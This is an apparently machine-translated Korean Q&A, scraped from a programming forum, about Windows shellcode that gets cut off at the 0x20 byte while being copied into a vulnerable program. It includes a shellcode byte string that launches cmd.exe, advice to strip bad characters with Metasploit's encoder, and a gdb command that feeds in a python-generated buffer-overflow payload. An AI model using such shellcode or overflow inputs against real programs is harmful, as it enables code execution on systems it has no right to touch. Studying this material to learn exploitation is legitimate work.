쉘 코드는 x20에 의해 잘립니다
문제
왜 내 쉘 코드가 잘린 후에 잘린가? \x20
OpCode, 두 번째 취약 프로그램에서 문자열로 복사 할 때?
--cmd.exe-- char shell[]= "\xc7\x44\x24\x0c\x65\x78\x65\x20" ← only this line is put in stack, though hv a enough space "\xc7\x44\x24\x08\x63\x6d\x64\x2e" "\x31\xc0" "\x89\x44\x24\x04" "\x8d\x44\x24\x08" "\x89\x04\x24" "\x8d\x05\xad\x23\x86\x7c" "\xff\xd0"; --end shell--
해결책
이 쉘 코드를 명령 줄 인수로 전달하고 있습니까? 이 경우 0x20의 ASCII 코드를 살펴보십시오.)
다른 팁
내 이론은 인용문, 공간, Null 등과 같은 것들이 전송되지 않고 Windows 쉘에 의해 해석되고 있다는 것입니다. 어떻게 든 탈출 할 수는 있지만 쉘 코드를 인코딩하는 것이 더 쉽다고 생각합니다. 따라서 Metasploit의 MSFencode 유틸리티를 사용하여 이러한 opcode를 모두 피하십시오. 나는 null (/x00), 공간 (/x20) 및 인용문 (/x22)을 직접 전달할 수 없지만 전달할 수없는 다른 opcode가 있다고 생각합니다.
그게 내 해결책이지만 다른 사람을 아는 사람이 있습니까?
전체 명령 주위에 이중 인용문을 넣습니다. 예를 들어, 실행 :
"$shellcode" (gdb)r "$(python -c 'print "\x41" * 100 + "\x20\x83\x04\x08" + ....')"
제휴하지 않습니다 StackOverflow